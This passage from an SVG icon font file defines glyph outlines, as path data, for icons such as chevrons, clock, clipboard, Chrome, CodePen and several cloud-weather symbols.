d="M200.832 371.499q-12.5806 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -18.1091 13.0256 -30.6896l213.333 -213.333q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l469.333 469.333q13.0256 12.5806 13.0256 30.6896
q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.1091 0 -30.6896 -13.0256l-439.168 -439.168z" />
    <glyph glyph-name="check-square" unicode="&#xe840;" 
d="M371.499 456.832q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013q-12.5014 -12.5013 -12.5014 -30.1653q0 -17.2403 11.9771 -29.641l128 -128q12.496 -12.4922 30.1653 -12.4922t30.1653 12.4922l469.333 469.333q13.0256 12.5806 13.0256 30.6896
q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6897 -13.0256l-439.168 -439.168zM810.667 384v-298.667q0 -17.664 -12.5014 -30.1653q-12.5013 -12.5013 -30.1653 -12.5013h-597.333q-17.664 0 -30.1653 12.5013q-12.5013 12.5013 -12.5013 30.1653v597.333
q0 17.6639 12.5013 30.1653q12.5013 12.5013 30.1653 12.5013h469.333q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.6641 -12.5013 30.1653t-30.1653 12.5013h-469.333q-52.992 0 -90.496 -37.504q-37.504 -37.504 -37.504 -90.496v-597.333q0 -52.992 37.504 -90.496
q37.504 -37.504 90.496 -37.504h597.333q52.9919 0 90.496 37.504q37.5041 37.504 37.504 90.496v298.667q-0.00262451 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994q-17.6613 0 -30.1626 -12.4994t-12.504 -30.1604z" />
    <glyph glyph-name="cast" unicode="&#xe841;" 
d="M76.8 167.253q45.7759 -9.33572 84.7801 -48.3399q39.0042 -39.0042 48.3399 -84.7801q2.88464 -14.1347 15.136 -24.1383q12.2513 -10.0036 26.6774 -10.0036q17.6675 0 30.1714 12.5038q12.5038 12.5038 12.5038 30.1714q0 4.31031 -0.861877 8.53333
q-14.0036 68.6639 -72.5098 127.17q-58.5062 58.5063 -127.17 72.5098q-4.22308 0.861862 -8.53333 0.861862q-17.6675 0 -30.1714 -12.5038t-12.5038 -30.1714q0 -14.4261 10.0036 -26.6774t24.138 -15.1357zM80.64 339.456q112.327 -12.5032 200.661 -100.85
q88.3345 -88.3469 100.822 -200.675q1.75394 -15.7064 14.1803 -26.8224q12.4263 -11.1159 28.2304 -11.1159q17.6671 0 30.1707 12.5036q12.5036 12.5036 12.5036 30.1707q0 2.37547 -0.263641 4.736q-10.2436 92.0775 -64.3387 175.259q-54.0951 83.1815 -137.277 137.277
t-175.259 64.3387q-2.36087 0.263611 -4.736 0.263611q-17.6671 0 -30.1707 -12.5036q-12.5036 -12.5035 -12.5036 -30.1707q0 -15.8041 11.1159 -28.2304t26.8224 -14.1802zM128 554.667v85.3333q0 17.664 12.5013 30.1653t30.1653 12.5013h682.667
q17.664 0 30.1653 -12.5013t12.5013 -30.1653v-512q0 -17.664 -12.5013 -30.1653t-30.1653 -12.5013h-256q-17.6613 -0.00269318 -30.1607 -12.504q-12.4995 -12.5013 -12.4995 -30.1626t12.4995 -30.1626q12.4995 -12.5013 30.1607 -12.504h256q52.992 0 90.496 37.504
q37.504 37.504 37.504 90.496v512q0 52.992 -37.504 90.496q-37.504 37.504 -90.496 37.504h-682.667q-52.992 0 -90.496 -37.504t-37.504 -90.496v-85.3333v-0.00653076q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013
q12.5013 12.5013 12.5013 30.1653zM85.3333 42.6667zM42.6667 42.6667v-0.00653076q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v0.00653076v0.00653076q0 17.664 -12.5013 30.1653
q-12.5013 12.5013 -30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653v-0.00653458z" />
    <glyph glyph-name="chevron-down" unicode="&#xe842;" 
d="M286.165 542.165q-12.4008 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2402 11.977 -29.641l256 -256q12.496 -12.4922 30.1653 -12.4922q17.6694 0 30.1653 12.4922l256 256q13.0256 12.5806 13.0256 30.6897
q0 17.6641 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013q-18.1091 0 -30.6897 -13.0257l-225.835 -225.835z" />
    <glyph glyph-name="chevron-left" unicode="&#xe843;" 
d="M670.165 609.835q13.0256 12.5806 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.109 0 -30.6897 -13.0256l-256 -256q-12.4922 -12.496 -12.4922 -30.1653t12.4922 -30.1653l256 -256q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013
t12.5013 30.1653q0 17.2403 -11.977 29.641l-225.835 225.835z" />
    <glyph glyph-name="chevron-right" unicode="&#xe844;" 
d="M353.835 158.165q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l256 256q12.4922 12.4961 12.4922 30.1653q0 17.6693 -12.4922 30.1653l-256 256q-12.4007 11.977 -29.641 11.977
q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2404 11.977 -29.6411l225.835 -225.835z" />
    <glyph glyph-name="chevron-up" unicode="&#xe845;" 
d="M737.835 225.835q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-256 256q-12.496 12.4922 -30.1653 12.4922t-30.1653 -12.4922l-256 -256q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653
t30.1653 -12.5013q17.2403 0 29.641 11.977l225.835 225.835z" />
    <glyph glyph-name="chevrons-down" unicode="&#xe846;" 
d="M328.832 371.499q-12.5805 13.0256 -30.6896 13.0256q-17.664 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653q0 -18.1091 13.0257 -30.6896l213.333 -213.333q12.496 -12.4922 30.1653 -12.4922q17.6694 0 30.1653 12.4922l213.333 213.333
q11.9771 12.4008 11.9771 29.641q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-17.2403 0 -29.6411 -11.9771l-183.168 -183.168zM328.832 670.165q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2402 11.977 -29.6411
l213.333 -213.333q12.496 -12.4922 30.1653 -12.4922q17.6694 0 30.1653 12.4922l213.333 213.333q13.0256 12.5806 13.0256 30.6896q0 17.6639 -12.5013 30.1653t-30.1653 12.5014q-18.1089 0 -30.6897 -13.0256l-183.168 -183.168z" />
    <glyph glyph-name="chevrons-right" unicode="&#xe847;" 
d="M524.501 200.832q-11.9771 -12.4008 -11.9771 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.6411 11.977l213.333 213.333q12.4922 12.4961 12.4922 30.1653q0 17.6693 -12.4922 30.1653l-213.333 213.333q-12.4008 11.9771 -29.6411 11.9771
q-17.6641 0 -30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653q0 -17.2404 11.977 -29.6411l183.168 -183.168zM225.835 200.832q-11.977 -12.4008 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977l213.333 213.333
q12.4922 12.496 12.4922 30.1653t-12.4922 30.1653l-213.333 213.333q-12.4007 11.977 -29.641 11.977q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653q0 -17.2403 11.977 -29.6411l183.168 -183.168z" />
    <glyph glyph-name="chevrons-up" unicode="&#xe848;" 
d="M695.168 396.501q12.4008 -11.977 29.6411 -11.977q17.6639 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-213.333 213.333q-12.4959 12.4922 -30.1653 12.4922q-17.6693 0 -30.1653 -12.4922l-213.333 -213.333q-11.977 -12.4007 -11.977 -29.641
q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.9771l183.168 183.168zM512 281.003l183.168 -183.168q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-213.333 213.333
q-12.4959 12.4922 -30.1653 12.4922q-17.6693 0 -30.1653 -12.4922l-213.333 -213.333q-11.977 -12.4007 -11.977 -29.641q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.2403 0 29.641 11.977z" />
    <glyph glyph-name="chevrons-left" unicode="&#xe849;" 
d="M499.499 567.168q13.0256 12.5805 13.0256 30.6896q0 17.664 -12.5013 30.1653t-30.1653 12.5013q-18.1091 0 -30.6896 -13.0256l-213.333 -213.333q-12.4922 -12.496 -12.4922 -30.1653t12.4922 -30.1653l213.333 -213.333q12.4007 -11.977 29.641 -11.977
q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.9771 29.641l-183.168 183.168zM798.165 567.168q13.0256 12.5806 13.0256 30.6896q0 17.6641 -12.5013 30.1654t-30.1653 12.5013q-18.109 0 -30.6897 -13.0256l-213.333 -213.333
q-12.4922 -12.4961 -12.4922 -30.1653q0 -17.6693 12.4922 -30.1653l213.333 -213.333q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-183.168 183.168z" />
    <glyph glyph-name="circle" unicode="&#xe84a;" 
d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06
q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408z" />
    <glyph glyph-name="clipboard" unicode="&#xe84b;" 
d="M298.667 768q0.160065 35.2517 25.1404 60.2925q24.9804 25.0408 60.0649 25.0408h256.256q35.3231 0 60.1841 -24.9042q24.8611 -24.9042 25.0212 -60.4291h42.6667q53 0 90.5 -37.5t37.5 -90.5v-597.333q0 -52.992 -37.504 -90.496q-37.504 -37.504 -90.496 -37.504
h-512q-52.992 0 -90.496 37.504q-37.504 37.504 -37.504 90.496v597.333q0 53 37.5 90.5t90.5 37.5h42.6667zM298.667 682.667h-42.6667q-17.664 0 -30.1653 -12.5013t-12.5013 -30.1653v-597.333q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013h512
q17.664 0 30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v597.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013h-42.6667q-0.160034 -35.2516 -25.1404 -60.2925t-60.0649 -25.0408h-256.256q-35.275 0.0176392 -60.2402 24.9954q-24.9652 24.9777 -24.9652 60.2526z
M383.872 768l0.127991 -0.426697v-84.48l-0.0852966 -0.426636h256.213l-0.127991 0.426636v84.48l0.0853271 0.426697h-256.213z" />
    <glyph glyph-name="chrome" unicode="&#xe84c;" 
d="M462.379 -82.7733q-2.9249 0.141014 -5.80267 0.682663q-115.259 13.5661 -209.988 78.4471t-149.325 167.173q-54.5962 102.292 -54.5962 220.47q0 152.559 89.3867 275.584q2.03531 3.35077 4.65067 6.27197q58.2007 77.6157 168.05 132.547
q109.849 54.9309 206.862 54.9309l0.38382 -0.000183105h0.0444336q128.035 0 254.41 -83.2589q126.375 -83.2588 176.905 -200.901q37.9733 -88.2731 37.9733 -185.173q0 -95.4833 -37.1694 -182.397q-37.1694 -86.9139 -100.011 -149.756
q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.397 -37.1694q-25.1093 0 -49.6217 2.55989zM441.771 6.4l95.616 165.76q-12.6666 -1.52039 -25.4241 -1.52039q-53.5173 0 -108.925 33.574q-55.4075 33.574 -80.1792 81.0131l-155.307 268.672
q-16.3747 -33.1481 -27.9635 -82.7742q-11.5888 -49.626 -11.5888 -86.598l0.000366211 -0.52652q0 -139.969 89.4003 -246.316q89.4003 -106.348 224.371 -131.284zM537.088 0.810669q97.4761 6.35225 180.188 59.9092q82.7114 53.557 130.776 139.576
q48.0649 86.0191 48.0649 183.702q0 65.8853 -21.9621 128.002h-191.488q42.6667 -56.7984 42.6667 -128q0 -61.9263 -33.024 -114.091zM619.477 314.453l3.20001 5.54666q0.947571 1.67657 1.79199 2.85867q15.5053 28.5639 15.5053 61.0651q0 52.992 -37.504 90.496
t-90.496 37.504t-90.496 -37.504t-37.504 -90.496q0 -30.7109 13.9347 -58.0784l3.41333 -5.84534q0.778473 -1.31683 1.53601 -2.90134q15.4878 -25.3376 47.4659 -43.2697q31.9781 -17.9322 61.6743 -17.9322q28.852 0 60.3432 17.1571q31.4911 17.1571 47.1353 41.3995z
M220.16 633.515l95.7013 -165.589q22.9308 53.5691 80.3994 91.4857q57.4686 37.9166 115.739 37.9223h319.317q-47.1544 70.656 -140.646 120.661t-178.437 50.0054l-0.234497 -6.10352e-05l-0.430847 0.000244141q-73.1831 0 -158.591 -39.4043
q-85.4079 -39.4042 -132.904 -95.0813h0.0866547z" />
    <glyph glyph-name="clock" unicode="&#xe84d;" 
d="M512 -85.3333q-95.4834 0 -182.397 37.1694t-149.756 100.011t-100.011 149.756q-37.1694 86.9139 -37.1694 182.397q0 95.4834 37.1694 182.397q37.1694 86.9138 100.011 149.755q62.8417 62.8417 149.756 100.011q86.9138 37.1694 182.397 37.1694
q95.4833 0 182.397 -37.1694t149.756 -100.011q62.8417 -62.8417 100.011 -149.755t37.1694 -182.397q0 -95.4833 -37.1694 -182.397t-100.011 -149.756q-62.8417 -62.8417 -149.755 -100.011q-86.9138 -37.1694 -182.398 -37.1694zM512 -2.87646e-06
q104.256 0 192.72 51.408q88.4642 51.408 139.872 139.872q51.408 88.4641 51.408 192.72q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5q0 -104.256 51.4079 -192.72q51.4079 -88.4642 139.872 -139.872t192.72 -51.408zM554.667 640
q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653v-256q0.00372314 -17.6715 12.5013 -30.1653l128 -128q12.4008 -11.977 29.641 -11.977q17.664 0 30.1653 12.5013t12.5013 30.1653q0 17.2403 -11.977 29.641l-115.499 115.499z" />
    <glyph glyph-name="cloud-lightning" unicode="&#xe84e;" 
d="M384.07 896h-0.038147q-104.255 0 -192.718 -51.4075t-139.871 -139.871q-51.4075 -88.4633 -51.4075 -192.718q0 -93.7272 58.0418 -192.174q58.0418 -98.4471 140.053 -143.823q9.47714 -5.10799 20.2432 -5.10799q17.6638 0 30.165 12.5012
q12.5012 12.5012 12.5012 30.1651q0 10.286 -6.3313 21.1585q-6.33128 10.8726 -15.2772 15.9492q-63.7573 35.2984 -108.88 111.857q-45.1229 76.5585 -45.1229 149.435q0 123.647 87.5085 211.155q87.5085 87.5085 211.155 87.5085q95.7631 0 180.49 -65.6199
q84.7267 -65.6199 108.68 -158.339q3.41962 -13.2446 15.5209 -22.6204q12.1013 -9.37592 25.7801 -9.37927h53.7595l0.214417 0.00012207q70.6553 0 120.66 -50.0049q50.0049 -50.0049 50.0049 -120.66q0 -57.7503 -40.0542 -106.755q-40.0543 -49.0048 -96.6496 -60.4967
q-14.1487 -2.87306 -24.1622 -15.1243q-10.0135 -12.2512 -10.0135 -26.6887q0 -17.6639 12.5012 -30.1651t30.1651 -12.5012q4.28821 0 8.49054 0.853348q84.8929 17.238 144.974 90.7452q60.0811 73.5072 60.0812 160.133q0 105.983 -75.0073 180.99t-180.99 75.0073
l-0.257324 -0.00012207h-22.1865q-37.4694 105.979 -143.542 180.987t-218.481 75.0106zM434.16 -61.6442q-7.17325 -10.7534 -7.17325 -23.6798q0 -17.666 12.5027 -30.1688q12.5028 -12.5028 30.1688 -12.5028q9.45139 0 19.8524 5.56459q10.4011 5.5646 15.6459 13.4272
l170.665 255.998q7.17432 10.7531 7.17432 23.6798q0 17.6638 -12.5012 30.165t-30.165 12.5012h-0.00634766h-176.254l126.42 189.652q7.17322 10.7535 7.17322 23.6798q0 17.666 -12.5028 30.1688t-30.1688 12.5028q-9.45135 0 -19.8524 -5.56461
q-10.4011 -5.56458 -15.6459 -13.4272l-170.665 -255.998q-7.17432 -10.753 -7.17432 -23.6798q0 -17.6638 12.5012 -30.165t30.165 -12.5012h0.00637817h176.254z" />
    <glyph glyph-name="cloud-drizzle" unicode="&#xe84f;" 
d="M298.832 85.3333v-85.3333q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.5041 30.1607v85.3333q-0.00268555 17.6613 -12.504 30.1607t-30.1627 12.4994t-30.1627 -12.4994t-12.5039 -30.1607zM298.832 341.333v-85.3333
q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994q12.5014 12.4994 12.5041 30.1607v85.3333q-0.00268555 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1626 12.4994t-30.1626 -12.4994t-12.5041 -30.1607zM640.165 85.3333
v-85.3333q0.00274658 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.504 30.1607v85.3333q-0.00262451 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1627 12.4994q-17.6613 0 -30.1626 -12.4994t-12.504 -30.1607zM640.165 341.333
v-85.3333q0.00274658 -17.6613 12.504 -30.1607t30.1627 -12.4994q17.6613 0 30.1626 12.4994t12.504 30.1607v85.3333q-0.00268555 17.6613 -12.504 30.1607q-12.5014 12.4994 -30.1627 12.4994t-30.1626 -12.4994t-12.504 -30.1607zM469.498 0v-85.3333
q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v85.3333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653zM469.498 256v-85.3333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013
t12.5013 30.1653v85.3333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653zM405.498 895.36q-10.7287 0.600952 -21.4753 0.600952q-104.256 0 -192.72 -51.408q-88.4642 -51.4079 -139.872 -139.872q-51.408 -88.4642 -51.408 -192.72
q0 -76.4299 42.2461 -164.303q42.2461 -87.8731 101.939 -135.605q11.4281 -8.65823 25.7657 -8.65823q17.664 0 30.1653 12.5013t12.5013 30.1653q0 19.8507 -15.1844 32.6369q-46.4523 37.1251 -79.3279 105.485q-32.8756 68.3596 -32.8756 127.825
q0 123.648 87.5093 211.157q87.5093 87.5093 211.157 87.5093q95.7801 0 180.511 -65.6343q84.7312 -65.6343 108.674 -158.374q3.41968 -13.2446 15.521 -22.6206q12.1014 -9.37598 25.7803 -9.37939h53.76q70.5552 -0.100586 120.489 -50.1059t49.934 -120.561
q0 -46.1905 -29.9445 -91.9954t-72.2548 -64.3354q-10.3873 -4.69606 -17.7386 -16.0873q-7.35132 -11.3913 -7.35132 -22.7907q0 -17.664 12.5013 -30.1653q12.5014 -12.5013 30.1653 -12.5013q8.66406 0 16.6419 3.37938q63.4658 27.7958 108.382 96.5032
q44.9165 68.7073 44.9165 137.993q0 105.859 -74.9197 180.867t-180.779 75.1326h-22.2293q-35.2886 99.7805 -135.049 174.601q-99.7607 74.8205 -205.431 80.7599z" />
    <glyph glyph-name="cloud-rain" unicode="&#xe850;" 
d="M640.165 341.333v-341.333q0.00274658 -17.6613 12.5041 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.504 30.1607v341.333q-0.00268555 17.6613 -12.504 30.1607q-12.5014 12.4994 -30.1627 12.4994t-30.1626 -12.4994t-12.504 -30.1607z
M298.832 341.333v-341.333q0.00271606 -17.6613 12.504 -30.1607q12.5013 -12.4994 30.1626 -12.4994t30.1626 12.4994t12.5041 30.1607v341.333q-0.00268555 17.6613 -12.504 30.1607q-12.5013 12.4994 -30.1626 12.4994t-30.1626 -12.4994t-12.5041 -30.1607zM469.498 256
v-341.333q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653v341.333q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653zM405.498 895.36q-10.7287 0.600952 -21.4753 0.600952q-104.256 0 -192.72 -51.408
q-88.4642 -51.4079 -139.872 -139.872q-51.408 -88.4642 -51.408 -192.72q0 -76.4299 42.2461 -164.303q42.2461 -87.8731 101.939 -135.605q11.4281 -8.65823 25.7657 -8.65823q17.664 0 30.1653 12.5013t12.5013 30.1653q0 19.8507 -15.1844 32.6369
q-46.4523 37.1251 -79.3279 105.485q-32.8756 68.3596 -32.8756 127.825q0 123.648 87.5093 211.157q87.5093 87.5093 211.157 87.5093q95.7801 0 180.511 -65.6343q84.7312 -65.6343 108.674 -158.374q3.41968 -13.2446 15.521 -22.6206q12.1014 -9.37598 25.7803 -9.37939
h53.76q70.5552 -0.100586 120.489 -50.1059t49.934 -120.561q0 -46.1905 -29.9445 -91.9954t-72.2548 -64.3354q-10.3873 -4.69606 -17.7386 -16.0873q-7.35132 -11.3913 -7.35132 -22.7907q0 -17.664 12.5013 -30.1653q12.5014 -12.5013 30.1653 -12.5013
q8.66406 0 16.6419 3.37938q63.4658 27.7958 108.382 96.5032q44.9165 68.7073 44.9165 137.993q0 105.859 -74.9197 180.867t-180.779 75.1326h-22.2293q-35.2886 99.7805 -135.049 174.601q-99.7607 74.8205 -205.431 80.7599z" />
    <glyph glyph-name="cloud-off" unicode="&#xe851;" 
d="M420.662 767.37q-1.82129 0.157043 -3.64935 0.157043q-16.1537 0 -28.554 -11.3914t-13.7678 -27.4871q-0.173981 -1.91821 -0.173981 -3.84442q0 -16.0814 11.3339 -28.4995q11.3339 -12.418 27.3483 -13.8831q87.061 -7.88904 163.705 -73.4874t97.8783 -150.398
q3.31854 -13.2929 15.3636 -22.7141q12.0451 -9.42117 25.746 -9.44003h53.4339l0.0993652 3.05176e-05q37.7929 0 79.2469 -22.3409q41.454 -22.341 62.2344 -53.908q11.7054 -17.7652 19.9896 -45.3946q8.28418 -27.6294 8.28418 -48.9041q0 -34.614 -13.4333 -66.5148
q-3.35638 -7.96089 -3.35638 -16.6003q0 -11.6568 7.58075 -23.1613q7.58069 -11.5045 18.2921 -16.1031q7.94427 -3.38405 16.579 -3.38405q11.6605 0 23.0963 7.61385q11.4359 7.61385 15.9335 18.3719q20.1473 47.8464 20.1473 99.7614q0 31.9097 -12.4255 73.351
t-29.9824 68.0865q-31.1687 47.3683 -93.3578 80.8922t-118.892 33.5239l-0.120972 -3.05176e-05h-21.8768q-33.4063 96.6531 -129.13 171.573q-95.7236 74.9197 -197.572 84.1255zM197.544 719.608q-114.979 -63.9664 -166.458 -185.541
q-51.4786 -121.575 -17.6395 -249.223q33.8693 -127.674 138.699 -207.326q104.83 -79.6523 236.191 -77.5413h380.989q44.464 0 86.5689 15.3521q16.5021 6.0444 23.9285 22.0358q7.42645 15.9914 1.44513 32.5922q-4.15833 11.6285 -15.8412 19.8583
q-11.6829 8.22977 -24.0324 8.22977q-7.45166 0 -14.4558 -2.5438q-28.1131 -10.2347 -57.6558 -10.2347h-381.628q-2.38364 -0.0382309 -4.76746 -0.0382309q-94.8603 0 -179.091 64.9223q-84.2309 64.9223 -108.386 156.656q-10.074 37.8307 -10.074 76.9796
q0 72.6697 44.8971 149.187q44.8971 76.5172 108.335 111.964q15.3542 8.54083 20.2296 25.5229t-3.59816 32.4314q-4.97447 9.1134 -15.8432 15.5633q-10.8687 6.44983 -21.2515 6.44983q-10.9738 0 -20.5611 -5.33899zM13.0202 822.68l938.185 -938.185
q12.3944 -11.9709 29.6259 -11.9709q17.6549 0 30.1498 12.4949t12.4949 30.1499q0 17.2314 -11.9709 29.6259l-938.185 938.185q-12.5741 13.0188 -30.6737 13.0188q-17.655 0 -30.1499 -12.4949t-12.4949 -30.1499q0 -18.0996 13.0188 -30.6738z" />
    <glyph glyph-name="codepen" unicode="&#xe852;" 
d="M535.253 846.421l426.667 -277.333q8.03284 -5.22162 13.7209 -15.6978q5.68805 -10.4761 5.69232 -20.0569v-298.667q-0.00421143 -9.58092 -5.69232 -20.057q-5.68805 -10.4761 -13.721 -15.6977l-426.667 -277.333q-10.605 -6.89339 -23.2533 -6.89339
q-12.6484 0 -23.2533 6.89339l-426.667 277.333q-8.03294 5.22159 -13.721 15.6977q-5.6881 10.4761 -5.69227 20.057v298.667q0.00418091 9.58087 5.6923 20.0569q5.68812 10.4761 13.721 15.6977l426.667 277.333q10.6049 6.89337 23.2533 6.89337
q12.6483 0 23.2534 -6.89325zM469.333 732.075l-307.712 -200.107l137.045 -95.872l170.667 119.467v176.469v0.0430298zM554.667 732.075v-176.555l170.667 -119.467l137.045 95.9147l-307.712 200.064v0.0432739zM512 286.72l138.923 97.28l-138.923 97.28
l-138.923 -97.28zM896 316.587v134.741l-96.256 -67.328zM862.379 235.947l-137.045 95.9573l-170.667 -119.467v-176.469l307.712 200.021v-0.0422974zM161.621 235.947l307.712 -199.979v176.469l-170.667 119.467l-137.045 -95.9147zM128 316.587l96.256 67.4133
l-96.256 67.4133v-134.827z" />
    <glyph glyph-name="cloud-snow" unicode="&#xe853;" 
d="M405.632 852.693q-10.7517 0.603577 -21.5212 0.603577q-104.256 0 -192.72 -51.4079q-88.4641 -51.408 -139.872 -139.872t-51.408 -192.72q0 -76.4309 42.2471 -164.305q42.2471 -87.8737 101.941 -135.606q11.6258 -9.17807 26.4378 -9.17807
q17.664 0 30.1653 12.5013t12.5013 30.1653q0 20.3495 -15.8138 33.1567q-46.4745 37.1254 -79.3659 105.498t-32.8914 127.855q0 123.648 87.5094 211.157q87.5093 87.5093 211.157 87.5093q95.7947 0 180.529 -65.647q84.7344 -65.647 108.667 -158.404
q3.41968 -13.2447 15.5211 -22.6207q12.1013 -9.37598 25.7803 -9.37933h53.76q70.5728 -0.0830383 120.519 -50.0883q49.9465 -50.0053 49.9465 -120.578q0 -46.1905 -29.9443 -91.9954q-29.9443 -45.8049 -72.2548 -64.3354q-10.3873 -4.69609 -17.7386 -16.0873
t-7.35132 -22.7907q0 -17.664 12.5013 -30.1653q12.5013 -12.5014 30.1653 -12.5014q8.66412 0 16.642 3.37938q63.4656 27.7958 108.382 96.5032q44.9166 68.7074 44.9166 137.993q0 105.859 -74.9198 180.867t-180.779 75.1325h-22.272q-35.2885 99.7805 -135.049 174.601
q-99.7607 74.8204 -205.431 80.759zM682.667 256zM640 256v-0.00653076q0 -17.664 12.5013 -30.1653t30.1653 -12.5013q17.6641 0 30.1653 12.5013t12.5013 30.1654v0.0065155v0.00653076q0 17.664 -12.5013 30.1653t-30.1654 12.5013q-17.6639 0 -30.1653 -12.5013
t-12.5013 -30.1653zM512 170.667zM469.333 170.667q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1653 12.5013t12.5013 30.1653t-12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653zM341.333 256zM298.667 256v-0.00653076
q0 -17.664 12.5013 -30.1653t30.1653 -12.5013t30.1654 12.5013q12.5013 12.5013 12.5013 30.1653v0.00653076v0.00653076q0 17.664 -12.5013 30.1653t-30.1653 12.5013t-30.1653 -12.5013t-12.5013 -30.1653zM341.333 42.6667zM298.667 42.6667v-0.00653076
q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653v0.00653076v0.00653076q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1653 12.5013t-30.1653 -12.5013q-12.5013 -12.5013 -12.5013 -30.1653
v-0.00653458zM512 -42.6667zM469.333 -42.6667q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013t30.1653 12.5013q12.5013 12.5013 12.5013 30.1653q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1654 12.5013q-17.664 0 -30.1653 -12.5013
q-12.5013 -12.5013 -12.5012 -30.1653zM682.667 42.6667zM640 42.6667v-0.00653076q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013q17.6641 0 30.1653 12.5013q12.5012 12.5013 12.5013 30.1654v0.00653076v0.00653076q0 17.664 -12.5013 30.1653
q-12.5013 12.5013 -30.1654 12.5013q-17.664 0 -30.1653 -12.5014q-12.5013 -12.5013 -12.5013 -30.1653zM682.667 42.6667zM640 42.6667v-0.00653076q0 -17.664 12.5013 -30.1653q12.5013 -12.5013 30.1653 -12.5013q17.6641 0 30.1653 12.5013
q12.5012 12.5013 12.5013 30.1654v0.00653076v0.00653076q0 17.664 -12.5013 30.1653q-12.5013 12.5013 -30.1654 12.5013q-17.664 0 -30.1653 -12.5014q-12.5013 -12.5013 -12.5013 -30.1653z" />
    <glyph glyph-name="compass" unicode="&#xe854;" 
